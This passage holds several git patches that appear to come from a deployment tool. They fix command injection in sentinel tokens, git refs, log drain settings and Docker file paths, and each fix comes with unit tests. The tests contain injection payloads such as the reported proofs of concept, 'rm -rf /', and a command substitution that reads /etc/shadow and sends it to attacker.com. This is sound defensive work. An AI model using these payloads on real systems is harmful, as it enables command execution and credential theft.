a/app/Actions/Server/StartSentinel.php b/app/Actions/Server/StartSentinel.php index 1f248aec1..071f3ec46 100644 --- a/app/Actions/Server/StartSentinel.php +++ b/app/Actions/Server/StartSentinel.php @@ -4,6 +4,7 @@ use App\Events\SentinelRestarted; use App\Models\Server; +use App\Models\ServerSetting; use Lorisleiva\Actions\Concerns\AsAction; class StartSentinel @@ -23,6 +24,9 @@ public function handle(Server $server, bool $restart = false, ?string $latestVer $refreshRate = data_get($server, 'settings.sentinel_metrics_refresh_rate_seconds'); $pushInterval = data_get($server, 'settings.sentinel_push_interval_seconds'); $token = data_get($server, 'settings.sentinel_token'); + if (! ServerSetting::isValidSentinelToken($token)) { + throw new \RuntimeException('Invalid sentinel token format. Token must contain only alphanumeric characters, dots, hyphens, and underscores.'); + } $endpoint = data_get($server, 'settings.sentinel_custom_url'); $debug = data_get($server, 'settings.is_sentinel_debug_enabled'); $mountDir = '/data/coolify/sentinel'; @@ -49,7 +53,7 @@ public function handle(Server $server, bool $restart = false, ?string $latestVer } $mountDir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/sentinel'; } - $dockerEnvironments = '-e "'.implode('" -e "', array_map(fn ($key, $value) => "$key=$value", array_keys($environments), $environments)).'"'; + $dockerEnvironments = implode(' ', array_map(fn ($key, $value) => '-e '.escapeshellarg("$key=$value"), array_keys($environments), $environments)); $dockerLabels = implode(' ', array_map(fn ($key, $value) => "$key=$value", array_keys($labels), $labels)); $dockerCommand = "docker run -d $dockerEnvironments --name coolify-sentinel -v /var/run/docker.sock:/var/run/docker.sock -v $mountDir:/app/db --pid host --health-cmd \"curl --fail http://127.0.0.1:8888/api/health || exit 1\" --health-interval 10s --health-retries 3 --add-host=host.docker.internal:host-gateway --label $dockerLabels $image"; diff --git a/app/Livewire/Server/Sentinel.php b/app/Livewire/Server/Sentinel.php index cdcdc71fc..dff379ae1 100644 --- a/app/Livewire/Server/Sentinel.php +++ b/app/Livewire/Server/Sentinel.php @@ -19,7 +19,7 @@ class Sentinel extends Component public bool $isMetricsEnabled; - #[Validate(['required'])] + #[Validate(['required', 'string', 'max:500', 'regex:/\A[a-zA-Z0-9._\-+=\/]+\z/'])] public string $sentinelToken; public ?string $sentinelUpdatedAt = null; diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 0ad0fcf84..504cfa60a 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -92,6 +92,15 @@ protected static function booted() }); } + /** + * Validate that a sentinel token contains only safe characters. + * Prevents OS command injection when the token is interpolated into shell commands. + */ + public static function isValidSentinelToken(string $token): bool + { + return (bool) preg_match('/\A[a-zA-Z0-9._\-+=\/]+\z/', $token); + } + public function generateSentinelToken(bool $save = true, bool $ignoreEvent = false) { $data = [ diff --git a/app/Traits/HasMetrics.php b/app/Traits/HasMetrics.php index 667d58441..7ed82cc91 100644 --- a/app/Traits/HasMetrics.php +++ b/app/Traits/HasMetrics.php @@ -2,6 +2,8 @@ namespace App\Traits; +use App\Models\ServerSetting; + trait HasMetrics { public function getCpuMetrics(int $mins = 5): ?array @@ -26,8 +28,13 @@ private function getMetrics(string $type, int $mins, string $valueField): ?array $from = now()->subMinutes($mins)->toIso8601ZuluString(); $endpoint = $this->getMetricsEndpoint($type, $from); + $token = $server->settings->sentinel_token; + if (! ServerSetting::isValidSentinelToken($token)) { + throw new \Exception('Invalid sentinel token format. Please regenerate the token.'); + } + $response = instant_remote_process( - ["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$server->settings->sentinel_token}\" {$endpoint}'"], + ["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$token}\" {$endpoint}'"], $server, false ); diff --git a/tests/Feature/SentinelTokenValidationTest.php b/tests/Feature/SentinelTokenValidationTest.php new file mode 100644 index 000000000..43048fcaa --- /dev/null +++ b/tests/Feature/SentinelTokenValidationTest.php @@ -0,0 +1,95 @@ +create(); + $this->team = $user->teams()->first(); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +describe('ServerSetting::isValidSentinelToken', function () { + it('accepts alphanumeric tokens', function () { + expect(ServerSetting::isValidSentinelToken('abc123'))->toBeTrue(); + }); + + it('accepts tokens with dots, hyphens, and underscores', function () { + expect(ServerSetting::isValidSentinelToken('my-token_v2.0'))->toBeTrue(); + }); + + it('accepts long base64-like encrypted tokens', function () { + $token = 'eyJpdiI6IjRGN0V4YnRkZ1p0UXdBPT0iLCJ2YWx1ZSI6IjZqQT0iLCJtYWMiOiIxMjM0NTY3ODkwIn0'; + expect(ServerSetting::isValidSentinelToken($token))->toBeTrue(); + }); + + it('accepts tokens with base64 characters (+, /, =)', function () { + expect(ServerSetting::isValidSentinelToken('abc+def/ghi='))->toBeTrue(); + }); + + it('rejects tokens with double quotes', function () { + expect(ServerSetting::isValidSentinelToken('abc" ; id ; echo "'))->toBeFalse(); + }); + + it('rejects tokens with single quotes', function () { + expect(ServerSetting::isValidSentinelToken("abc' ; id ; echo '"))->toBeFalse(); + }); + + it('rejects tokens with semicolons', function () { + expect(ServerSetting::isValidSentinelToken('abc;id'))->toBeFalse(); + }); + + it('rejects tokens with backticks', function () { + expect(ServerSetting::isValidSentinelToken('abc`id`'))->toBeFalse(); + }); + + it('rejects tokens with dollar sign command substitution', function () { + expect(ServerSetting::isValidSentinelToken('abc$(whoami)'))->toBeFalse(); + }); + + it('rejects tokens with spaces', function () { + expect(ServerSetting::isValidSentinelToken('abc def'))->toBeFalse(); + }); + + it('rejects tokens with newlines', function () { + expect(ServerSetting::isValidSentinelToken("abc\nid"))->toBeFalse(); + }); + + it('rejects tokens with pipe operator', function () { + expect(ServerSetting::isValidSentinelToken('abc|id'))->toBeFalse(); + }); + + it('rejects tokens with ampersand', function () { + expect(ServerSetting::isValidSentinelToken('abc&&id'))->toBeFalse(); + }); + + it('rejects tokens with redirection operators', function () { + expect(ServerSetting::isValidSentinelToken('abc>/tmp/pwn'))->toBeFalse(); + }); + + it('rejects empty strings', function () { + expect(ServerSetting::isValidSentinelToken(''))->toBeFalse(); + }); + + it('rejects the reported PoC payload', function () { + expect(ServerSetting::isValidSentinelToken('abc" ; id >/tmp/coolify_poc_sentinel ; echo "'))->toBeFalse(); + }); +}); + +describe('generated sentinel tokens are valid', function () { + it('generates tokens that pass format validation', function () { + $settings = $this->server->settings; + $settings->generateSentinelToken(save: false, ignoreEvent: true); + $token = $settings->sentinel_token; + + expect($token)->not->toBeEmpty(); + expect(ServerSetting::isValidSentinelToken($token))->toBeTrue(); + }); +}); From a1c30cb0e70b84e075d1c444362e7b198ad459e3 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 22:22:48 +0100 Subject: [PATCH 169/305] fix(git-ref-validation): prevent command injection via git references Add validateGitRef() helper function that uses an allowlist approach to prevent OS command injection through git commit SHAs, branch names, and tags. Only allows alphanumeric characters, dots, hyphens, underscores, and slashes. Changes include: - Add validateGitRef() helper in bootstrap/helpers/shared.php - Apply validation in Rollback component when accepting rollback commit - Add regex validation to git commit SHA fields in Livewire components - Apply regex validation to API rules for git_commit_sha - Use escapeshellarg() in git log and git checkout commands - Add comprehensive unit tests covering injection payloads Addresses GHSA-mw5w-2vvh-mgf4 --- app/Jobs/ApplicationDeploymentJob.php | 2 +- app/Livewire/Project/Application/General.php | 4 +- app/Livewire/Project/Application/Rollback.php | 2 + app/Livewire/Project/Application/Source.php | 2 +- app/Models/Application.php | 3 +- bootstrap/helpers/api.php | 2 +- bootstrap/helpers/shared.php | 33 +++++ tests/Unit/GitRefValidationTest.php | 123 ++++++++++++++++++ 8 files changed, 165 insertions(+), 6 deletions(-) create mode 100644 tests/Unit/GitRefValidationTest.php diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index c9f0f1eef..91c81b6ff 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2196,7 +2196,7 @@ private function clone_repository() $this->create_workdir(); $this->execute_remote_command( [ - executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 {$this->commit} --pretty=%B"), + executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 ".escapeshellarg($this->commit)." --pretty=%B"), 'hidden' => true, 'save' => 'commit_message', ] diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 008bd3905..fccd17217 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -37,7 +37,7 @@ class General extends Component #[Validate(['required'])] public string $gitBranch; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])] public ?string $gitCommitSha = null; #[Validate(['string', 'nullable'])] @@ -184,7 +184,7 @@ protected function rules(): array 'fqdn' => 'nullable', 'gitRepository' => 'required', 'gitBranch' => 'required', - 'gitCommitSha' => 'nullable', + 'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'installCommand' => 'nullable', 'buildCommand' => 'nullable', 'startCommand' => 'nullable', diff --git a/app/Livewire/Project/Application/Rollback.php b/app/Livewire/Project/Application/Rollback.php index e8edf72fa..3edd77833 100644 --- a/app/Livewire/Project/Application/Rollback.php +++ b/app/Livewire/Project/Application/Rollback.php @@ -50,6 +50,8 @@ public function rollbackImage($commit) { $this->authorize('deploy', $this->application); + $commit = validateGitRef($commit, 'rollback commit'); + $deployment_uuid = new Cuid2; $result = queue_application_deployment( diff --git a/app/Livewire/Project/Application/Source.php b/app/Livewire/Project/Application/Source.php index ab2517f2b..422dd6b28 100644 --- a/app/Livewire/Project/Application/Source.php +++ b/app/Livewire/Project/Application/Source.php @@ -30,7 +30,7 @@ class Source extends Component #[Validate(['required', 'string'])] public string $gitBranch; - #[Validate(['nullable', 'string'])] + #[Validate(['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])] public ?string $gitCommitSha = null; #[Locked] diff --git a/app/Models/Application.php b/app/Models/Application.php index a4f51780e..34ab4141e 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1686,7 +1686,8 @@ public function fqdns(): Attribute protected function buildGitCheckoutCommand($target): string { - $command = "git checkout $target"; + $escapedTarget = escapeshellarg($target); + $command = "git checkout {$escapedTarget}"; if ($this->settings->is_git_submodules_enabled) { $command .= ' && git submodule update --init --recursive'; diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index edb1e59a1..1b03a4d37 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -92,7 +92,7 @@ function sharedDataApplications() 'static_image' => Rule::enum(StaticImageTypes::class), 'domains' => 'string|nullable', 'redirect' => Rule::enum(RedirectTypes::class), - 'git_commit_sha' => 'string', + 'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'docker_registry_image_name' => 'string|nullable', 'docker_registry_image_tag' => 'string|nullable', 'install_command' => 'string|nullable', diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 3e993dbf3..ce40466b2 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -147,6 +147,39 @@ function validateShellSafePath(string $input, string $context = 'path'): string return $input; } +/** + * Validate that a string is a safe git ref (commit SHA, branch name, tag, or HEAD). + * + * Prevents command injection by enforcing an allowlist of characters valid for git refs. + * Valid: hex SHAs, HEAD, branch/tag names (alphanumeric, dots, hyphens, underscores, slashes). + * + * @param string $input The git ref to validate + * @param string $context Descriptive name for error messages + * @return string The validated input (trimmed) + * + * @throws \Exception If the input contains disallowed characters + */ +function validateGitRef(string $input, string $context = 'git ref'): string +{ + $input = trim($input); + + if ($input === '' || $input === 'HEAD') { + return $input; + } + + // Must not start with a hyphen (git flag injection) + if (str_starts_with($input, '-')) { + throw new \Exception("Invalid {$context}: must not start with a hyphen."); + } + + // Allow only alphanumeric characters, dots, hyphens, underscores, and slashes + if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/', $input)) { + throw new \Exception("Invalid {$context}: contains disallowed characters. Only alphanumeric characters, dots, hyphens, underscores, and slashes are allowed."); + } + + return $input; +} + function generate_readme_file(string $name, string $updated_at): string { $name = sanitize_string($name); diff --git a/tests/Unit/GitRefValidationTest.php b/tests/Unit/GitRefValidationTest.php new file mode 100644 index 000000000..58d07f4b7 --- /dev/null +++ b/tests/Unit/GitRefValidationTest.php @@ -0,0 +1,123 @@ +toBe('abc123def456'); + expect(validateGitRef('a3e59e5c9'))->toBe('a3e59e5c9'); + expect(validateGitRef('abc123def456abc123def456abc123def456abc123'))->toBe('abc123def456abc123def456abc123def456abc123'); + }); + + test('accepts HEAD', function () { + expect(validateGitRef('HEAD'))->toBe('HEAD'); + }); + + test('accepts empty string', function () { + expect(validateGitRef(''))->toBe(''); + }); + + test('accepts branch and tag names', function () { + expect(validateGitRef('main'))->toBe('main'); + expect(validateGitRef('feature/my-branch'))->toBe('feature/my-branch'); + expect(validateGitRef('v1.2.3'))->toBe('v1.2.3'); + expect(validateGitRef('release-2.0'))->toBe('release-2.0'); + expect(validateGitRef('my_branch'))->toBe('my_branch'); + }); + + test('trims whitespace', function () { + expect(validateGitRef(' abc123 '))->toBe('abc123'); + }); + + test('rejects single quote injection', function () { + expect(fn () => validateGitRef("HEAD'; id >/tmp/poc; #")) + ->toThrow(Exception::class); + }); + + test('rejects semicolon command separator', function () { + expect(fn () => validateGitRef('abc123; rm -rf /')) + ->toThrow(Exception::class); + }); + + test('rejects command substitution with $()', function () { + expect(fn () => validateGitRef('$(whoami)')) + ->toThrow(Exception::class); + }); + + test('rejects backtick command substitution', function () { + expect(fn () => validateGitRef('`whoami`')) + ->toThrow(Exception::class); + }); + + test('rejects pipe operator', function () { + expect(fn () => validateGitRef('abc | cat /etc/passwd')) + ->toThrow(Exception::class); + }); + + test('rejects ampersand operator', function () { + expect(fn () => validateGitRef('abc & whoami')) + ->toThrow(Exception::class); + }); + + test('rejects hash comment injection', function () { + expect(fn () => validateGitRef('abc #')) + ->toThrow(Exception::class); + }); + + test('rejects newline injection', function () { + expect(fn () => validateGitRef("abc\nwhoami")) + ->toThrow(Exception::class); + }); + + test('rejects redirect operators', function () { + expect(fn () => validateGitRef('abc > /tmp/out')) + ->toThrow(Exception::class); + }); + + test('rejects hyphen-prefixed input (git flag injection)', function () { + expect(fn () => validateGitRef('--upload-pack=malicious')) + ->toThrow(Exception::class); + }); + + test('rejects the exact PoC payload from advisory', function () { + expect(fn () => validateGitRef("HEAD'; whoami >/tmp/coolify_poc_git; #")) + ->toThrow(Exception::class); + }); +}); + +describe('executeInDocker git log escaping', function () { + test('git log command escapes commit SHA to prevent injection', function () { + $maliciousCommit = "HEAD'; id; #"; + $command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B'; + $result = executeInDocker('test-container', $command); + + // The malicious payload must not be able to break out of quoting + expect($result)->not->toContain("id;"); + expect($result)->toContain("'HEAD'\\''"); + }); +}); + +describe('buildGitCheckoutCommand escaping', function () { + test('checkout command escapes target to prevent injection', function () { + $app = new \App\Models\Application; + $app->forceFill(['uuid' => 'test-uuid']); + + $settings = new \App\Models\ApplicationSetting; + $settings->is_git_submodules_enabled = false; + $app->setRelation('settings', $settings); + + $method = new \ReflectionMethod($app, 'buildGitCheckoutCommand'); + + $result = $method->invoke($app, 'abc123'); + expect($result)->toContain("git checkout 'abc123'"); + + $result = $method->invoke($app, "abc'; id; #"); + expect($result)->not->toContain("id;"); + expect($result)->toContain("git checkout 'abc'"); + }); +}); From fcd574e1eb1c2f504c48e5be4a5cb6d69f8f1f55 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 22:19:14 +0100 Subject: [PATCH 170/305] fix(log-drain): prevent command injection by base64-encoding environment variables Replace direct shell interpolation of environment values with base64 encoding to prevent command injection attacks. Environment configuration is now built as a single string, base64-encoded, then decoded to file atomically. Also add regex validation to restrict environment field values to safe characters (alphanumeric, underscore, hyphen, dot) at the application layer. Fixes GHSA-3xm2-hqg8-4m2p --- app/Actions/Server/StartLogDrain.php | 39 +++---- app/Livewire/Server/LogDrains.php | 12 +- tests/Unit/LogDrainCommandInjectionTest.php | 118 ++++++++++++++++++++ 3 files changed, 138 insertions(+), 31 deletions(-) create mode 100644 tests/Unit/LogDrainCommandInjectionTest.php diff --git a/app/Actions/Server/StartLogDrain.php b/app/Actions/Server/StartLogDrain.php index f72f23696..e4df5a061 100644 --- a/app/Actions/Server/StartLogDrain.php +++ b/app/Actions/Server/StartLogDrain.php @@ -177,6 +177,19 @@ public function handle(Server $server) $parsers_config = $config_path.'/parsers.conf'; $compose_path = $config_path.'/docker-compose.yml'; $readme_path = $config_path.'/README.md'; + if ($type === 'newrelic') { + $envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n"; + } elseif ($type === 'highlight') { + $envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n"; + } elseif ($type === 'axiom') { + $envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n"; + } elseif ($type === 'custom') { + $envContent = ''; + } else { + throw new \Exception('Unknown log drain type.'); + } + $envEncoded = base64_encode($envContent); + $command = [ "echo 'Saving configuration'", "mkdir -p $config_path", @@ -184,34 +197,10 @@ public function handle(Server $server) "echo '{$config}' | base64 -d | tee $fluent_bit_config > /dev/null", "echo '{$compose}' | base64 -d | tee $compose_path > /dev/null", "echo '{$readme}' | base64 -d | tee $readme_path > /dev/null", - "test -f $config_path/.env && rm $config_path/.env", - ]; - if ($type === 'newrelic') { - $add_envs_command = [ - "echo LICENSE_KEY=$license_key >> $config_path/.env", - "echo BASE_URI=$base_uri >> $config_path/.env", - ]; - } elseif ($type === 'highlight') { - $add_envs_command = [ - "echo HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id} >> $config_path/.env", - ]; - } elseif ($type === 'axiom') { - $add_envs_command = [ - "echo AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name} >> $config_path/.env", - "echo AXIOM_API_KEY={$server->settings->logdrain_axiom_api_key} >> $config_path/.env", - ]; - } elseif ($type === 'custom') { - $add_envs_command = [ - "touch $config_path/.env", - ]; - } else { - throw new \Exception('Unknown log drain type.'); - } - $restart_command = [ + "echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null", "echo 'Starting Fluent Bit'", "cd $config_path && docker compose up -d", ]; - $command = array_merge($command, $add_envs_command, $restart_command); return instant_remote_process($command, $server); } catch (\Throwable $e) { diff --git a/app/Livewire/Server/LogDrains.php b/app/Livewire/Server/LogDrains.php index d4a65af81..5d77f4998 100644 --- a/app/Livewire/Server/LogDrains.php +++ b/app/Livewire/Server/LogDrains.php @@ -24,16 +24,16 @@ class LogDrains extends Component #[Validate(['boolean'])] public bool $isLogDrainAxiomEnabled = false; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainNewRelicLicenseKey = null; #[Validate(['url', 'nullable'])] public ?string $logDrainNewRelicBaseUri = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainAxiomDatasetName = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainAxiomApiKey = null; #[Validate(['string', 'nullable'])] @@ -127,7 +127,7 @@ public function customValidation() if ($this->isLogDrainNewRelicEnabled) { try { $this->validate([ - 'logDrainNewRelicLicenseKey' => ['required'], + 'logDrainNewRelicLicenseKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], 'logDrainNewRelicBaseUri' => ['required', 'url'], ]); } catch (\Throwable $e) { @@ -138,8 +138,8 @@ public function customValidation() } elseif ($this->isLogDrainAxiomEnabled) { try { $this->validate([ - 'logDrainAxiomDatasetName' => ['required'], - 'logDrainAxiomApiKey' => ['required'], + 'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], + 'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], ]); } catch (\Throwable $e) { $this->isLogDrainAxiomEnabled = false; diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php new file mode 100644 index 000000000..5beef1a4b --- /dev/null +++ b/tests/Unit/LogDrainCommandInjectionTest.php @@ -0,0 +1,118 @@ +/tmp/pwned)'; + + $server = mock(Server::class)->makePartial(); + $settings = mock(ServerSetting::class)->makePartial(); + + $settings->is_logdrain_axiom_enabled = true; + $settings->is_logdrain_newrelic_enabled = false; + $settings->is_logdrain_highlight_enabled = false; + $settings->is_logdrain_custom_enabled = false; + $settings->logdrain_axiom_dataset_name = 'test-dataset'; + $settings->logdrain_axiom_api_key = $maliciousPayload; + + $server->name = 'test-server'; + $server->shouldReceive('getAttribute')->with('settings')->andReturn($settings); + + // Build the env content the same way StartLogDrain does after the fix + $envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n"; + $envEncoded = base64_encode($envContent); + + // The malicious payload must NOT appear directly in the encoded string + // (it's inside the base64 blob, which the shell treats as opaque data) + expect($envEncoded)->not->toContain($maliciousPayload); + + // Verify the decoded content preserves the value exactly + $decoded = base64_decode($envEncoded); + expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}"); +}); + +it('does not interpolate newrelic license key into shell commands', function () { + $maliciousPayload = '`rm -rf /`'; + + $envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n"; + $envEncoded = base64_encode($envContent); + + expect($envEncoded)->not->toContain($maliciousPayload); + + $decoded = base64_decode($envEncoded); + expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}"); +}); + +it('does not interpolate highlight project id into shell commands', function () { + $maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))'; + + $envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n"; + $envEncoded = base64_encode($envContent); + + expect($envEncoded)->not->toContain($maliciousPayload); +}); + +it('produces correct env file content for axiom type', function () { + $datasetName = 'my-dataset'; + $apiKey = 'xaat-abc123-def456'; + + $envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n"; + $decoded = base64_decode(base64_encode($envContent)); + + expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n"); +}); + +it('produces correct env file content for newrelic type', function () { + $licenseKey = 'nr-license-123'; + $baseUri = 'https://log-api.newrelic.com/log/v1'; + + $envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n"; + $decoded = base64_decode(base64_encode($envContent)); + + expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n"); +}); + +// ------------------------------------------------------------------------- +// Validation layer: reject shell metacharacters +// ------------------------------------------------------------------------- + +it('rejects shell metacharacters in log drain fields', function (string $payload) { + // These payloads should NOT match the safe regex pattern + $pattern = '/^[a-zA-Z0-9_\-\.]+$/'; + + expect(preg_match($pattern, $payload))->toBe(0); +})->with([ + '$(id)', + '`id`', + 'key;rm -rf /', + 'key|cat /etc/passwd', + 'key && whoami', + 'key$(curl evil.com)', + "key\nnewline", + 'key with spaces', + 'key>file', + 'key/tmp/coolify_poc_logdrain)', +]); + +it('accepts valid log drain field values', function (string $value) { + $pattern = '/^[a-zA-Z0-9_\-\.]+$/'; + + expect(preg_match($pattern, $value))->toBe(1); +})->with([ + 'xaat-abc123-def456', + 'my-dataset', + 'my_dataset', + 'simple123', + 'nr-license.key_v2', + 'project-id-123', +]); From ee5dd71266b7e1b3430d028b6ca52de2c049bf8b Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 22:40:45 +0100 Subject: [PATCH 171/305] fix(docker): add path validation to prevent command injection in file locations Add regex validation to dockerfileLocation and dockerComposeLocation fields to ensure they contain only valid path characters (alphanumeric, dots, hyphens, and slashes) and must start with /. Include custom validation messages for clarity. --- app/Livewire/Project/Application/General.php | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index fccd17217..747536bcf 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -198,8 +198,8 @@ protected function rules(): array 'dockerfile' => 'nullable', 'dockerRegistryImageName' => 'nullable', 'dockerRegistryImageTag' => 'nullable', - 'dockerfileLocation' => 'nullable', - 'dockerComposeLocation' => 'nullable', + 'dockerfileLocation' => ['nullable', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'dockerComposeLocation' => ['nullable', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], 'dockerCompose' => 'nullable', 'dockerComposeRaw' => 'nullable', 'dockerfileTargetBuild' => 'nullable', @@ -231,6 +231,8 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ + 'dockerfileLocation.regex' => 'The Dockerfile location must be a valid path starting with / and containing only alphanumeric characters, dots, hyphens, and slashes.', + 'dockerComposeLocation.regex' => 'The Docker Compose location must be a valid path starting with / and containing only alphanumeric characters, dots, hyphens, and slashes.', 'name.required' => 'The Name field is required.', 'gitRepository.required' => 'The Git Repository field is required.', 'gitBranch.required' => 'The Git Branch field is required.', From 5cac559602fbf0e7a2a5769645c1e38725ede020 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 06:36:12 +0100 Subject: [PATCH 172/305] chore: prepare for PR --- .../SharedVariables/Environment/Show.php | 4 +- app/Livewire/SharedVariables/Project/Show.php | 4 +- app/Livewire/SharedVariables/Team/Index.php | 4 +- tests/Feature/SharedVariableDevViewTest.php | 79 +++++++++++++++++++ 4 files changed, 88 insertions(+), 3 deletions(-) create mode 100644 tests/Feature/SharedVariableDevViewTest.php diff --git a/app/Livewire/SharedVariables/Environment/Show.php b/app/Livewire/SharedVariables/Environment/Show.php index e1b230218..9405b452a 100644 --- a/app/Livewire/SharedVariables/Environment/Show.php +++ b/app/Livewire/SharedVariables/Environment/Show.php @@ -139,7 +139,9 @@ private function deleteRemovedVariables($variables) private function updateOrCreateVariables($variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $found = $this->environment->environment_variables()->where('key', $key)->first(); if ($found) { diff --git a/app/Livewire/SharedVariables/Project/Show.php b/app/Livewire/SharedVariables/Project/Show.php index 1f304b543..7753a4027 100644 --- a/app/Livewire/SharedVariables/Project/Show.php +++ b/app/Livewire/SharedVariables/Project/Show.php @@ -130,7 +130,9 @@ private function deleteRemovedVariables($variables) private function updateOrCreateVariables($variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $found = $this->project->environment_variables()->where('key', $key)->first(); if ($found) { diff --git a/app/Livewire/SharedVariables/Team/Index.php b/app/Livewire/SharedVariables/Team/Index.php index 75fd415e1..29e21a1b7 100644 --- a/app/Livewire/SharedVariables/Team/Index.php +++ b/app/Livewire/SharedVariables/Team/Index.php @@ -129,7 +129,9 @@ private function deleteRemovedVariables($variables) private function updateOrCreateVariables($variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $found = $this->team->environment_variables()->where('key', $key)->first(); if ($found) { diff --git a/tests/Feature/SharedVariableDevViewTest.php b/tests/Feature/SharedVariableDevViewTest.php new file mode 100644 index 000000000..779be26a9 --- /dev/null +++ b/tests/Feature/SharedVariableDevViewTest.php @@ -0,0 +1,79 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'admin']); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create([ + 'project_id' => $this->project->id, + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +test('environment shared variable dev view saves without openssl_encrypt error', function () { + Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class) + ->set('variables', "MY_VAR=my_value\nANOTHER_VAR=another_value") + ->call('submit') + ->assertHasNoErrors(); + + $vars = $this->environment->environment_variables()->pluck('value', 'key')->toArray(); + expect($vars)->toHaveKey('MY_VAR') + ->and($vars['MY_VAR'])->toBe('my_value') + ->and($vars)->toHaveKey('ANOTHER_VAR') + ->and($vars['ANOTHER_VAR'])->toBe('another_value'); +}); + +test('project shared variable dev view saves without openssl_encrypt error', function () { + Livewire::test(\App\Livewire\SharedVariables\Project\Show::class) + ->set('variables', 'PROJ_VAR=proj_value') + ->call('submit') + ->assertHasNoErrors(); + + $vars = $this->project->environment_variables()->pluck('value', 'key')->toArray(); + expect($vars)->toHaveKey('PROJ_VAR') + ->and($vars['PROJ_VAR'])->toBe('proj_value'); +}); + +test('team shared variable dev view saves without openssl_encrypt error', function () { + 